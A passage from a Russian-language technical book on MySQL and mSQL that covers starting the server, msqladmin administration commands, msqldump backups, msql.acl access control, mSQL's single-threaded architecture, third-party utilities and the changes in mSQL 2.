    MySQL — ветвящийся демон. Когда вы ее запускаете, программа создает свою копию и выполняется как фоновый процесс. Поэтому вам не нужно ничего делать, чтобы заставить MySQL выполняться в фоновом режиме. Если же для запуска MySQL вы используете сценарий safe_mysqld, то вы должны перевести его в фоновый режим:

    /usr/local/mysql/bin/safe_mysqld &

    Причина, по которой вы должны запускать safe_mysqld в фоновом режиме (и по которой нужно запускать именно safe_mysqld, а не mysqld) в том, что сценарий safe_mysqld запускает mysqld, а затем непрерывно проверяет, выполняется ли mysqld. Если выполнение MySQL неожиданно прекратится, safe_mysqld ее перезапустит.

    Теперь, когда вы знаете, как запускать MySQL, нужно сделать так, чтобы MySQL стартовала и заканчивала работу вместе с компьютером, на котором она выполняется. Под Windows NT, конечно, достаточно установить MySQL как службу. Под Windows 9x нужно поместить ярлык сценария запуска MySQL в папку Startup. Под Unix, как и почти всегда бывает в этом мире, заставить MySQL стартовать и завершаться вместе с системой несколько сложнее. Unix-системы обычно ищут сценарии начального запуска где-то в каталоге /etc - в /etc/rc.d или /etc/ init.d. Вы должны узнать у системного администратора или в документации, куда именно нужно помещать сценарии запуска/завершения. Дистрибутив MySQL содержит в каталоге support_j'lies файл mysql.ser-ver. Этот сценарий и будет служить сценарием запуска/завершения.



    Администрирование баз данных

    Теперь, когда ваш сервер баз данных работает 24 часа в сутки 7 дней в неделю, надо заставить его обслуживать ваши потребности в доступе к базам данных.

    Утилита msqladmin

    Утилита msqladmin является вашим главным инструментом администрирования баз данных. Она поддерживает создание, удаление, копирование, переименование и исследование ваших баз данных mSQL. Если вы вернетесь к нашему обсуждению того, что такое база данных в главе 1, то вспомните, что mSQL сама по себе - не база данных. Ваши базы данных - это группы файлов в каждом подкаталоге каталога msqldb. mSQL - система управления этими базами. Одна СУБД одновременно может обслуживать много баз данных. Утилита msqladmin позволяет администрировать базы данных для выбранного сервера.

    Создание баз данных

    Первое, что вы захотите сделать после установки mSQL, это создать базу данных, которая служит какой-либо вашей цели. Синтаксис создания базы данных следующий:

    msqladmin create DATABASENAME

    В этой команде DATABASENAME - имя новой базы данных, которую вы хотите создать. Команда создает новую пустую базу данных с указанным вами именем. Как мы говорили раньше, база данных в mSQL — просто каталог в каталоге msqldb в том месте, куда вы установили mSQL. mSQL помещает все данные, относящиеся к вашей новой базе данных, в файлы, находящиеся в этом каталоге. Например, если вы создаете базу данных с именем "mydata", используя установку mSQL по умолчанию, будет создан каталог /usr/local/Hughes/msqldb/mydata.

    Удаление базы данных

    Во время разработки нового приложения баз данных вы, вероятно, захотите создать несколько баз данных для поддержки процесса разработки. Например, в процессе разработки принято иметь различные базы данных для разработки, тестирования и окончательного результата. По завершении разработки можно освободиться от баз данных для разработки и тестирования. Утилита msqladmin имеет параметр "drop", позволяющий удалить базу данных:

    msqladmin drop DATABASENAME

    Как и в команде msqladmin create, DATABASENAME является именем базы данных, которую вы хотите уничтожить. mSQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге msqldb больше нет каталога, служившего ранее этой базой данных.


    Переименование и копирование баз данных

    Удобной новой возможностью, включенной в mSQL 2, является возможность переименования и копирования баз данных.

    В mSQL 1 можно было обратиться к файловой системе и вручную переименовать или скопировать каталоги баз данных средствами операционной системы. Если пойти по этому пути, то нужно не забыть перезапустить сервер mSQL и разобраться с правами доступа. В mSQL 2 переименование осуществляется просто:

    msqladmin move OLDNAHE NEWNAME

    Например, если вы создали базу данных "midata" с ошибкой в имени и хотите исправить ее, нужно выполнить команду:

    msqladmin move midata mydata

    Копирование столь же просто:

    msqladmin copy mydata mynewdata

    Состояние сервера

    Если вы работали с MySQL, то обратите внимание, что контроль состояния сервера - область, в которой mSQL явно не силен. Утилита msqladmin служит вам интерфейсом к контролю состояния серверов. msqladmin stats в mSQL 2 выводит на экран следующее:

    Server Statistics

    -------------------------

    Mini SQL Version 2.0.4.1 - Forge Alpha Build #9

    Copyright (c) 1993-94 David J. Hughes

    Copyright (c) 1995-98 Hughes Technologies Pty Ltd. All rights reserved.

    Config file : c:\usr\local\hughes\msql.conf Max connections : 61 Cur connections : 1

    Running as user : UID 500

    Connection table :

    Sock Username Hostname Database Connect Idle Queries,

    Администрирование баз данных

    Здесь требуется некоторое пояснение:

    Max connections

    Максимальное количество одновременных соединений, которое может обработать сервер.

    Cur connections

    Число подключений к серверу в данный момент. Sock

    Номер сокета Интернет, используемый mSQL для идентификации каждого соединения.

    Username

    Имя пользователя, подключенного к серверу.

    Hostname

    Имя машины, подключенной к серверу. "Unix sock" указывает на локальное подключение через сокет Unix.

    Database

    Имя базы данных, к которой пользователь подключен в данный момент. "No DB" означает, что клиент не выбрал базу данных.

    Connect


    Общее время соединения клиента с сервером в часах и минутах.

    Idle

    Число минут, прошедших с момента последнего запроса пользователя.

    Queries

    Общее количество запросов, посланных клиентом через данное соединение.

    Помимо команды msqladmin stats можно получить другую, более статичную информацию с помощью команды msqladmin version. Ее выдача может выглядеть так:

    Version Details :-

    msqladmin version 2.0.4,1 - Forge Alpha Build #9

    mSQL server version 2.0.4,1 - Forge Alpha Build #9

    mSQL protocol version23

    mSQL connection 127.0.0.1 via TCP/IP

    Target platform CYGWIN32_NT-4.0-1586

    Configuration Details :-

    Default config file c:\usr\local\hughes/msql.conf

    TCP socket 1114

    Unix socket c:\usr\local\Hughes\msql2.sock

    mSQL user msql

    Admin user root

    Install directory c:\usr\local\Hughes

    PID file location c:\usr\local\Hughes\msql2d.pid

    Memory Sync Timer 30

    Hostname Lookup False

    Каждое значение, выводимое командой msqladmin version, может быть установлено в конфигурационном файле mSQL 2.

    Если mSQL компилировалась со включенной отладкой, mSQL будет помещать данные о выполняющемся процессе сервера в отладочный файл, указанный при компиляции. Других возможностей ведения журналов mSQL не предоставляет.

    Завершение работы сервера

    Ранее в этой главе в примере сценария запуска/остановки для Unix вы видели, как завершать работу сервера mSQL. Команда такая:

    msqladmin shutdown

    Эта команда осуществляет корректное завершение работы сервера mSQL.

    Перезагрузка при изменении параметров сервера

    Если вы производите изменения в ACL mSQL, нужно дать серверу команду на перезагрузку этих изменений. Для этого вводится команда:

    msqladmin reload

    Мы расскажем о mSQL ACL позднее в этой главе.

    Параметры командной строки msqladmin

    Во всех приведенных до сих пор примерах msqladmin использовалась для администрирования локального сервера mSQL с файлом конфигурации, созданным по умолчанию. Эту утилиту можно использовать для администрирования серверов на других машинах с другими конфигурационными файлами. Полный синтаксис утилиты msqladmin таков:


    msqladmin [-h host] [-f conf] [-q] COMMAND

    Параметры имеют следующее значение:

    -h

    Имя машины, на которой работает администрируемый сервер.

    -f

    Файл конфигурации для сервера, которым вы хотите управлять. Скорее всего, вы будете использовать этот параметр при работе нескольких экземпляров mSQL, как описано ранее в этой главе.

    -q.

    Запуск в "тихом" режиме. При этом msqladmin не просит подтверждения команд. Этот параметр полезен при запуске утилиты из сценариев.

    Резервирование данных

    Правильное резервирование является жизненно важной частью всякой схемы администрирования. Достаточно серьезное повреждение базы данных может нарушить работу всех приложений, связанных с этой базой данных. Как говорят, качество данных определяется качеством последней резервной копии.

    При использовании mSQL есть несколько методов резервирования. Как чаще всего бывает в mSQL, они небогаты украшениями, но дело свое делают. Чаще всего для создания резервных копий баз данных mSQL используется команда msqldump. Она делает полный стандартный дамп всей базы. Для каждой базы данных в системе нужно выполнить свою команду, например:

    msqldump database1 > /usr/backups/database1.sql. daily

    msqldump database2 > /usr/backups/database2.sql. daily

    msqldump database3 > /usr/backups/database3.sql. daily

    В этом примере создается дамп трех разных баз данных в одном каталоге.

    Расширение daily используется для указания на то, что резервные копии создаются ежедневно. Как часто вы будете резервировать данные, зависит от их важности, размера и типа имеющихся у вас носителей. Поскольку mSQL позволяет создавать только полные дампы, размер резервных копий может быть очень большим в системах, содержащих большой объем данных. Если у вас достаточно места, то неплохо делать отдельные резервные копии для каждого дня недели или даже двух недель или месяца. По окончании цикла ленты используются заново, если это необходимо; а при записи на жесткий диск переписываются файлы. При такой схеме всегда есть данные за одну неделю. При создании резервных копий на жестком диске можно объединить отдельные ежедневные копии в одну ежедневную копию, перезаписываемую каждый день. В этом случае следует также иметь отдельную еженедельную копию, чтобы восстановить случайно удаленные данные, отсутствующие в последней дневной копии. Такую схему можно использовать, только если вы ограничены в пространстве для резервирования.


    Другой метод резервирования основывается на простоте структуры файлов данных mSQL. В отличие от некоторых других пакетов, mSQL хранит данные в обычных файлах операционной системы, поэтому можно обращаться с ними как со всякими другими файлами. Полную резервную копию mSQL можно сделать, остановив сервер и создав tar-архив каталога данных mSQL. Предварительно сервер следует остановить, в противном случае данные могут оказаться неполными или поврежденными.

    Восстановление данных из резервных копий производится столь же просто, как создание копий. Дампы, создаваемые msqldump, имеют стандартную форму SQL и могут быть обработаны монитором msql. Эти дампы содержат команды для создания как таблиц, так и данных, поэтому нужно либо удалить существующие таблицы, либо удалить из дампов команды CREATE TABLE. Если вы восстанавливаете только отдельные строки данных, можно просто скопировать их из дампа и подать на вход монитора msql.

    При восстановлении данных из архивной копии каталога данных mSQL возможно только полное восстановление сохраненного состояния. Нельзя восстановить какую-то часть данных, и все изменения, произведенные после создания последней резервной копии, будут утеряны. Для проведения этого восстановления просто остановите сервер и затем введите резервный файл в каталог данных mSQL. После перезапуска сервера он окажется точно в том состоянии, которое было перед созданием копии, за исключением того, что будут присутствовать вновь добавленные базы данных, сохраненные в неприкосновенности.

    Выбор метода зависит от ваших потребностей. Создать двоичный архив очень просто, и восстановление при этом происходит очень быстро. Однако при этом нельзя делать частичное восстановление, и вновь добавленные данные будут утеряны. С другой стороны, создание дампа в виде SQL может занять много времени, хотя он допускает частичное восстановление, правда, с некоторыми усилиями. Кроме того, дамп SQL можно создать в любой момент, в то время как для создания архива требуется завершить работу сервера, что может оказаться решающим фактором при интенсивной работе.


    И последнее, что следует учитывать, - вопрос переносимости. В отличие от двоичной резервной копии, дамп SQL - текстовый и целиком состоит из SQL-команд. При незначительной модификации, главным, образом для удаления специфического SQL, дамп SQL может быть импортирован любым совместимым со стандартом SQL сервером. Это очень удобный способ перемещения данных, если возникает необходимость перейти на новый сервер SQL.

    Система безопасности

    Система безопасности, поддерживаемая сервером mSQL, может, в зависимости от точки зрения, показаться как достоинством, так и недостатком. С одной стороны, ей легче управлять, чем в любой другой РСУБД. Эта легкость достигается благодаря упрощенности. К сожалению, такая упрощенность недопустима для сколько-нибудь сложных приложений баз данных.

    mSQL управляет безопасностью с помощью файла msql.acl, который находится в каталоге установки mSQL. Расширение .acl образовано от "Access Control List" - "Список контроля доступа" - очень гибкой системы авторизации, с некоторого времени используемой в ряде операционных систем и приложений. Формат файла msql.acl следующий:

    database=mydata

    read=*

    write=*

    host=*

    access=local,remote

    database=mynewdata read=*

    wriite=admin,root host=* access=local

    Для каждой базы данных есть ряд опций. Строки read и write указывают, каким пользователям вы хотите предоставить право чтения (SELECT) базы или записи (INSERT, UPDATE, DELETE) в базу данных. Строка host показывает, какие машины могут иметь удаленный доступ к базе. Если строка access содержит "local", значит, разрешены локальные подключения через сокеты Unix, а если содержит "remote", то разрешены удаленные подключения по TCP.

    В файле ACL допустим символ-маска "*" в полях read, write и host. Поэтому можно иметь такой ACL:

    database=mynewdata

    read=*

    write=msql*

    host=*. client.com,"isp.com

    access=local, remote

    Этот ACL означает, что любой пользователь любой машины в client.com, а также любой пользователь любой машины в любом домене, оканчивающемся на isp.com - например, wisp.com или lisp.com, - может иметь подключение к базе данных. Эти пользователи могут осуществлять чтение данных, но только пользователи, чьи имена начинаются с "msql", могут вносить в нее изменения.


    По умолчанию все права отсутствуют, поэтому если вы пропустите строку write, никто не сможет модифицировать базу данных. Отдельные пользователи и машины могут исключаться с помощью префикса "-" перед их именем. Рассмотрим пример:

    dataoase=moredata

    read=-bob,*

    write=jane

    host=-junk. isp.com,*, isp.com

    access=local,remote

    Этот ACL разрешает подключение всем хостам домена isp.com, за исключением junk.isp.com. Кроме того, чтение разрешено всем пользователям, кроме пользователя "bob". Только "jane" имеет право записи в базе данных. Поскольку по умолчанию установлен отказ в доступе, конкретно указывать, кому отказано в доступе, как "bob'y"" бессмысленно, если строка не содержит также символа "*".

    mSQL действует согласно первому обнаруженному соответствию. Например, строка read=*,-bob дает пользователю "bob" право чтения.

    Как указывалось ранее в этой главе, команда msqladmin reload перезагружает ACL после внесения вами изменений. Если вы ее не выполните, внесенные изменения будут учтены только при следующем перезапуске сервера.



    Архитектура

    Дэвид Хьюз преследовал три цели, создавая mSQL:

  • mSQL должна быть быстрой.

  • mSQL должна быть компактной.

  • mSQL должна обеспечивать множественность одновременных подключений.

    Высокая скорость была главной целью mSQL. Поскольку в большинстве коммерческих SQL-серверов разработчики стараются реализовать полную спецификацию SQL2, а кроме того, и собственные расширения языка, им приходится расплачиваться производительностью и размерами. MSQL, напротив, жертвует некоторыми наиболее изощренными возможностями коммерческих серверов в пользу скорости. Для проекта Minerva требовалась возможность быстрого выполнения большого числа простых SQL-запросов. Именно это позволяет делать mSQL.

    Скорость и размеры идут рука об руку. Как обнаружил Хьюз, если начать с самого основания и реализовать лишь самые необходимые функции, можно разработать SQL-сервер, который будет требовать столь мало ресурсов, что для его успешного использования не потребуется отдельной машины. В результате, mSQL обладает значительной частью функциональности основных РСУБД, требуя значительно меньших ресурсов.

    Скорости и размера, достигнутых в mSQL, было бы достаточно для того, чтобы успешно заменить Postgres в проекте Minerva. Хьюз, однако, хотел изменить и ту модель поведения, которая, собственно, заставила его искать альтернативу. Хьюз спроектировал mSQL так, чтобы та могла обрабатывать множественные одновременные подключения в рамках одного процесса. В результате получается маленький, быстрый, эффективный SQL-сервер, способный одновременно обрабатывать несколько запросов - локально или по сети.

    Для реализации своих проектных целей Хьюзу пришлось ограничить функциональность сервера. Диалект SQL, поддерживаемый mSQL, является подмножеством стандарта ANSI SQL2, содержащим наиболее употребительные команды, такие как CREATE, INSERT, SELECT, UPDATE и DELETE. Хьюз отказался от ресурсоемких операций, вроде поддержки транзакций. В том типе приложений, которые используют mSQL, функциональность, опущенная Хьюзом, обычно не требуется.


    mSQL является однопоточным сервером с очередью. Одновременно к серверу может подключиться любое число клиентов - до определенного предела. При отправке клиентом запроса к серверу mSQL ставит запрос в синхронную очередь и обрабатывает все запросы последовательно по одному. Эффективность такого решения зависит, таким образом, от способности сервера быстро обработать каждый запрос. Если запросы вовремя не обрабатывать, очередь будет расти, что в итоге приведет к краху сервера из-за превышения системных ограничений. Поэтому скорость является решающим фактором для успешной работы mSQL. На рис. 5-1 показана работа очереди mSQL и однопоточная работа.

    Однопоточная сущность mSQL устраняет необходимость в пакетной обработке. Поскольку запросы выполняются поочередно, они не способны помешать один другому. Конечно, было бы неплохо, если бы mSQL поддерживала транзакции, но в них нет необходимости для нормальной работы ядра базы данных при тех целях, которые ставились перед mSQL.

    mSQL поддерживает два типа соединений со стороны клиента. Удаленные клиенты подключаются к серверу через известный порт TCP/IP. Используя TCP/IP, база данных mSQL может предоставлять доступ любому компьютеру в мире через Интернет. Локальные соединения тоже могут производиться через TCP/IP, но лучшей производительности можно добиться, используя стандартный сокет Unix, что эффективнее примерно на 20%.

    Архитектура

    Рис. 5-1. Архитектура клиент,/сервер в mSQL

    С mSQL связан набор программ, позволяющих осуществлять полный доступ к базе данных. Монитор msql позволяет пользователю непосредственно направлять запросы серверу. Хотя во время разработки этот инструмент полезен, большинству пользователей необходим какой-либо интерфейс для доступа к базе данных посредством какого-либо приложения. Для поддержки разработки приложений mSQL имеет встроенный API на языке С, позволяющий любой С-программе соединяться с сервером mSQL через TCP/IP или сокет Unix.

    mSQL поддерживает также сетевой протокол, позволяющий подключаться к серверу по сети, используя другие языки, без С API. С помощью этих двух интерфейсов разработчики, использующие множество языков, разработали библиотеки для подключения к mSQL почти из любого известного языка. В данной книге рассказывается об использовании API для С, Perl, Java и Python.



    mSQL

    Концепции баз данных и их проектирование имеют очень важное значение, но вы, вероятно, хотите приступить к непосредственной работе с MySQL или mSQL. He исключено, что вы уже выбрали ту или иную СУБД соответственно своим потребностям. Возможно, однако, вы надеетесь, что эта книга поможет вам принять такое решение. В этой главе мы подробно разберем mSQL. Если вы уже стали приверженцем MySQL, то эту главу можно пропустить. Напротив, если вас привлекает mSQL или вы хотите больше узнать о внутренних механизмах обеих баз данных, следует начать с этой главы.

    mSQL является реляционной системой управления базами данных (РСУБД), открывшей эру дешевых баз данных малого и среднего масштаба с поддержкой SQL. Малые размеры, впечатляющая производительность и простота изучения сделали ее предпочтительным выбором растущего числа разработчиков программ для Интернет, которым не достает времени, чтобы стать экспертами в области программирования баз данных. Автор mSQL намеренно стремился к достижению этих целей, приступая к созданию программного продукта, способного заполнить зияющий пробел в ряду РСУБД.



    Установка mSQL

    Первым шагом при работе с mSQL является, естественно, загрузка и установка. Как вы это сделаете, зависит от типа предполагаемой платформы. mSQL появилась как приложение для Linux, и это та платформа, которую поддерживает Хьюз. Если у вас работает какая-то разновидность Unix, mSQL, скорее всего, сможет на ней работать. Даже если нет, mSQL поставляется с исходным текстом, и опытный С-программист исправит места, создающие несовместимость. Дистрибутив для Unix находится по адресу http://www.hughes.com.au.

    Если вы работаете под Windows или OS/2, для вас тоже не все потеряно: переложения для Win32 и OS/2 также активно поддерживаются. Последние версии mSQL для PC находятся по адресу http://blnet.com/ msqlpc/. Хотя эти приложения относительно новые, они всегда немного отстают от самых свежих версий, предоставляемых Хьюзом. В момент написания книги номер текущей версии для Unix был 2.0.7, текущей версии для Win32 - 2.0.4.1, и текущей версии для OS/2 - 2.06. Меньше повезло пользователям Мае. На Макинтош перенесены только клиентские средства для mSQL.

    Процедура установки зависит от платформы. Пользователям Unix придется компилировать свой дистрибутив, а для Win32 и OS/2 поставляются прекомпилированные двоичные файлы. Поскольку процедура установки меняется от одной версии к другой, мы не станем здесь останавливаться на ее подробностях. Вам следует изучить документацию, предоставленную вместе с вашим дистрибутивом, поскольку она наверняка соответствует точной процедуре установки для вашей версии.



    Утилиты mSQL

    Об одной из поставляемых с mSQL утилит, msqladmin, мы уже рассказали. mSQL содержит семь основных утилит, составляющих основу взаимодействия с ней. В дополнение к этим основным утилитам mSQL

    поддерживает облегченную утилиту обработки сценариев Lite и интерфейс к WWW под названием W3-mSQL. Помимо того, существуют многочисленные средства сторонних разработчиков. Сейчас мы подробно остановимся на базовых утилитах, поставляемых с mSQL, и пробежим по списку утилит "со стороны". К Lite и W3-mSQL мы обратимся позднее.

    Утилиты командной строки

    Каждая утилита командной строки имеет подробную подсказку, разъясняющую ее синтаксис. В основном этот синтаксис является копией команды msqladmln. Именно, параметр -h позволяет указать машину, а параметр -/ позволяет задать имя конкретного файла конфигурации.

    msql

    Это интерфейс командной строки к mSQL, позволяющий интерактивно выполнить команду SQL для заданной базы данных. Кроме обычных параметров, отмеченных выше, вы задаете имя базы данных, к которой хотите обратиться. Из всех утилит эта, вероятно, используется наиболее часто.

    msqldump

    Эта команда выводит все содержимое базы данных или таблицы, включая саму структуру таблицы, в виде ряда команд SQL. Результат работы этой утилиты можно использовать для создания резервной копии базы данных и воссоздания ее на другой машине.

    msqlimport

    Эта команда читает форматированный файл данных и добавляет их в указанную таблицу базы данных. Файл может иметь различный формат, в том числе с разделителем-запятой и кавычками.

    relshow

    Эта утилита выводит структуру базы данных и находящихся в ней таблиц. Она полезна, если вам нужно узнать, какие таблицы есть в базе данных или какие колонки существуют в нужной таблице.

    msqlexport

    Эта утилита выводит содержимое таблицы на стандартное устройство вывода в виде текстового файла с разделителями. Многие другие СУБД и приложения, такие как Microsoft Excel, могут читать этот файл и импортировать из него данные.

    Поддержка сторонними разработчиками


    Как и для любого популярного в сети Интернет программного продукта, существуют многочисленные программы сторонних разработчиков, поддерживающие mSQL. Они охватывают диапазон от утилит конвертирования до интерфейсов программирования. Как бы вы ни применяли mSQL, вы наверняка будете использовать хотя бы один из перечисленных здесь продуктов сторонних разработчиков. Конечно, этот список не может претендовать на полноту, поскольку состав имеющихся утилит ежедневно меняется. Самые свежие списки утилит

    сторонних разработчиков можно получить с веб-серверов Hughes и mSQL PC, о которых шла речь ранее в этой главе.

    Утилиты преобразования баз данных

    dbf2msql

    Преобразует файлы DBF в таблицы mSQL. DBF - это формат файлов базы данных dBASE, бывшей когда-то ведущей настольной базой данных. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

    mSQLpp

    Конвертирует ESQL (Ingres Embedded SQL - встроенный SQL для Ingres) в SQL, доступный для mSQL. ESQL встраивается прямо в исходный код программ на С, чтобы облегчить доступ к базам данных из С. Эта программа конвертирует файл исходного кода С с ESQL в файл исходного кода С, использующий стандартный API mSQL.v Она предназначена для работы в качестве препроцессора и обычно позволяет с помощью фильтрации использовать ESQL-файлы с mSQL без всякой модификации.

    Интерфейсы CGI

    РНР

    Создает HTML-страницы со специальными тегами, распознаваемыми анализатором РНР. РНР содержит интерфейсы к большинству основных баз данных, включая MySQL и mSQL. PHP более подробно освещается в главе 12 "РНР и другие средства поддержки HTML, управляемого базами данных".

    dbadmln

    Обеспечивает интерфейс CGI к mSQL. Это программа CGI, позволяющая обращаться к любой таблице базы данных mSQL, как если бы она была формой HTML. Можно модифицировать данные в таблице и далее осуществлять операции над самой базой данных.


    Jate

    Полный интерфейс CGI к mSQL. Jate имеет много сервисов, все они доступны через формы HTML. Можно просматривать и редактировать данные, а также настраивать вывод. Jate импортирует данные плоского файла через текстовые поля HTML. Она также оптимизирует некоторые данные и поисковые запросы перед отправкой их на сервер базы данных.

    mSQLCGI

    Еще один CGI-интерфейс к таблицам mSQL. Эта программа позволяет просматривать и модифицировать таблицы mSQL через WWW с использованием форм HTML. Особенностью этого интерфейса является необходимость обработки каждой таблицы, которую вы хотите использовать, специальной прилагаемой программой, прежде чем к ней можно будет получить доступ через Web.

    Клиентские приложения

    dbview

    Показывает структуру базы данных mSQL. Эта утилита сходна с relshow, но имеет некоторые дополнительные возможности. Например, dbview показывает количество записей в каждой таблице.

    XfSQL

    Обеспечивает полный доступ к данным таблиц mSQL в качестве клиента Xforms для X Window System. С помощью этого инструмента можно добавлять, удалять и просматривать данные таблиц в X Window System.

    XmSQL

    Обеспечивает полный доступ к данным таблиц mSQL как независимый от библиотеки клиент X Window System. Благодаря этому она будет компилироваться на любой системе X Window.

    mSQLsql

    Отображает форматированные таблицы. Используя эту утилиту, можно просматривать таблицу mSQL в различных видах, включая настраиваемые рамки и разделители для форматированных ASCII-таблиц. Можно также генерировать HTML-таблицы, используя заданные пользователем параметры.

    mSQLwin-relshow

    Аналог утилиты relshow для графического интерфейса Windows.

    Интерфейсы программирования

    ConNExS

    Предоставляет интерфейс между mSQL и электронной таблицей NexS. NexS является популярной электронной таблицей с возможностью интерактивной связи с внешним источником данных. ConNExS позволяет таблицам mSQL служить источником данных для электронных таблиц NexS. Все изменения в электронной таблице будут отображены в связанной с ней таблицей mSQL.


    mSQLBase

    Предоставляет API SQLBase как С-оболочку для программ, работающих с mSQL. SQLBase API - это API доступа к базам данных независимого разработчика, поддерживающий несколько основных серверов SQL. Эта программа транслирует mSQL API в SQLBase API, в результате чего клиенты SQLBase могут работать с mSQL.

    mSQLCLI

    Инкапсулирует С API для mSQL таким образом, что клиенты ODBC под OS/2 могут работать с mSQL. ODBC - распространенный независимый от баз данных API, поддерживаемый большинством баз данных под OS/2 и Windows. Эта оболочка реализует стандартные средства ODBC, поддерживаемые mSQL, но только для операционной системы OS/2. Она содержит минимальный уровень функциональности ODBC.

    msqldll

    Упаковывает С API для mSQL в виде DLL для Windows. С помощью этой DLL можно создавать приложения для Windows, используя Visual Basic или другой инструмент для программирования в Windows, работающий с DLL.

    MsqlJava

    Создает оболочку сетевого протокола TCP/IP mSQL для Java API, напоминающую mSQL С API. Помогает быстро начать создавать приложения Java разработчикам, которые уже знают mSQL С API, но не знакомы со стандартом JDBC API. MsqlJava работает только с JDK 1.0.

    mSQL-JDBC

    Реализует стандарт Java Database Connectivity (JDBC) API поверх сетевого протокола TCP/IP mSQL. Этот пакет поддерживает максимальный уровень функциональности JDBC, возможный для mSQL в среде JDK 1.1 и JDK 1.2 (Java 2), включая стандарт JDBC 2.O. В главе 14 "Java и JDBC" подробно обсуждается программирование на Java с использованием этого API, а в главе 22 "Справочник по JDBC" представлено полное справочное руководство по JDBC 2.0.

    MsqlODBC

    Реализует ODBC API для mSQL 1 в Windows. Дэвид Хьюз в настоящее время работает над реализацией для mSQL 2.

    mSQLPerl

    Обеспечивает сценариям Perl доступ к базам данных mSQL. В главе 10 "Perl", подробно обсуждается программирование на Perl для MySQL и mSQL, а в главе 21 "Справочник по Perl", представлено полное справочное руководство по mSQLPerl.


    mSQLPython

    Обеспечивает сценариям Python доступ к базам данных mSQL. В главе 11 "Python", подробно обсуждается программирование на Python для MySQL и mSQL, а в главе 20 "Справочник по Python", представлено полное справочное руководство по mSQLPython.

    mSQLRexx

    Поддерживает доступ к mSQL из REXX, языка сценариев, наиболее часто используемого в OS/2.

    mSQLTCL

    Позволяет программам на Tel иметь доступ к базам данных mSQL. Поддержка включает многие расширения Tcl, в том числе Tcl/Tk и Expect.

    mSQLVdb

    Обеспечивает доступ к базам данных mSQL через библиотеку базы данных Vdb. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для доступа к базам данных mSQL.

    zmsql

    Обеспечивает объектно-ориентированный доступ к базам данных mSQL для программ на C++.

    Разное

    mod_auth_msql

    Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных mSQL.

    mSQLEmacs

    Расширяет базовую поддержку режима SQL в Emacs, обеспечивая отступы и выделение цветом для mSQL-диалекта SQL.

    msqlexpire

    Удаляет из таблиц mSQL устаревшие данные. Для использования этой программы нужно иметь в таблице mSQL колонку, содержащую возраст данных. Эта программа находит в таблице данные старше указанного возраста и удаляет их. Можно потребовать, чтобы msqlexpire посылала уведомления по электронной почте после каждого удаления.

    mSQLSSL

    Вводит в mSQL поддержку защищенных сетевых соединений по протоколу SSL. Чтобы использовать этот продукт, необходимо скомпилировать mSQL вместе с ним. Будучи установленным, полностью защищает ваши сетевые соединения от любопытных глаз.

    Sqs

    Генерирует уникальные числовые идентификаторы для таблиц базы данных. После установки этой программы на сервере как демона, любое число клиентов может соединяться с демоном, чтобы создавать, читать или удалять последовательности.

    Версии mSQL

    После выхода mSQL сообщество разработчиков программ немедленно подверглось его воздействию. Впервые появилась возможность работы с доступным по цене, поддерживающим SQL, ядром базы данных. Одной из поразительных особенностей было то, что оно не только было сравнимо по производительности с основными коммерческими продуктами, но на практике было быстрее - иногда более, чем в 100 раз -в тех областях, для которых предназначалось.

    Однако в наше время вычислительная среда долго не стоит на месте. С возникновением широкомасштабного сотрудничества через Интернет не стало проектов, недоступных для преданных им групп программистов. К 1996 году стали появляться другие недорогие реализации SQL, MySQL в их числе, и mSQL перестала существовать в одиночестве.

    В продолжение 1990-х Хьюз разрабатывал и совершенствовал mSQL. Однако ядро базы данных в итоге достигло той точки, где дальнейшая разработка требовала глубокого пересмотра всего проекта. Такая большая работа потребовала бы много времени, поскольку новый проект влечет новые ошибки и промахи. Одновременно необходимо осуществлять и поддержку существующего продукта. Таким образом, mSQL 2 появилась как переработка ядра базы данных при продолжении одновременной поддержки существующего продукта - mSQL 1.

    mSQL 2 вышла в то время, когда первоначальный продукт начал устаревать. Проблемы с устойчивостью и отсутствие важных функциональных возможностей, таких, как поддержка достаточного числа типов данных, заставляли искать другие решения, например MySQL. mSQL 2 обеспечила устранение многочисленных ошибок, досаждавших пользователям последних версий mSQL 1, и добавила многочисленные новые возможности, сохраняя при этом верность первоначальным целям проекта. Расширилось подмножество ANSI SQL, поддерживаемое mSQL, и было добавлено несколько новых типов данных. Был переработан способ индексирования, значительно повысивший мощь системы.

    Основные изменения, произведенные в mSQL 2 в сравнении с mSQL 1, следующие:

    Возросшие устойчивость и производительность


    В первом выпуске mSQL 2 были решены все известные проблемы со стабильностью в mSQL 1. Были устранены утечки памяти, а код тщательно протестирован для выявления ошибок. Общая производительность выросла, несмотря на добавление новых характеристик.

    Улучшенная поддержка индексов

    В первой версии mSQL использовалась очень слабая схема индексирования. В каждой таблице можно было иметь только один индекс, состоящий только из одной колонки, - первичный ключ. В mSQL 2 индексирование полностью переработано с целью поддержки более сложных и часто встречающихся задач. Теперь можно иметь несколько индексов для каждой таблицы и составлять их более чем из одной колонки. Индексирование теперь поддерживает индексные файлы как в виде В-дерева, так и в стиле AVL.

    Дополнительные типы данных

    В mSQL 2 добавились многие типы данных, что приближает его к полной реализации спецификации ANSI SQL2. Наряду с MONEY, DATE и TIME mSQL 2 поддерживает теперь и тип TEXT. В первоначальной версии mSQL все поля были фиксированной длины, и поэтому текстовые поля типа CHAR имели предустановленный размер. Часто для поддержки таких атрибутов, как адреса электронной почты или названия книг, приходилось определять большое поле типа CHAR, что приводило к неоправданному расходу памяти. Например, для поля адреса электронной почты вы определили бы поле CHAR(35). Даже если адрес оказывался "xxx@imaginary.com", mSQL использовал все 35 символов поля. Еще хуже то, что если адрес оказывался длиннее 35 символов, вам сильно не повезло. Новый тип данных TEXT решает обе проблемы, позволяя вам задать среднюю длину поля. Все, превышающее этот размер, будет храниться в буфере переполнения. При меньшем размере лишние символы не будут записываться. К сожалению, поля типа TEXT имеют недостатки, не позволяющие использовать их в качестве индексов и употреблять в предложениях типа LIKE.

    Улучшенный сервис и поддержка API

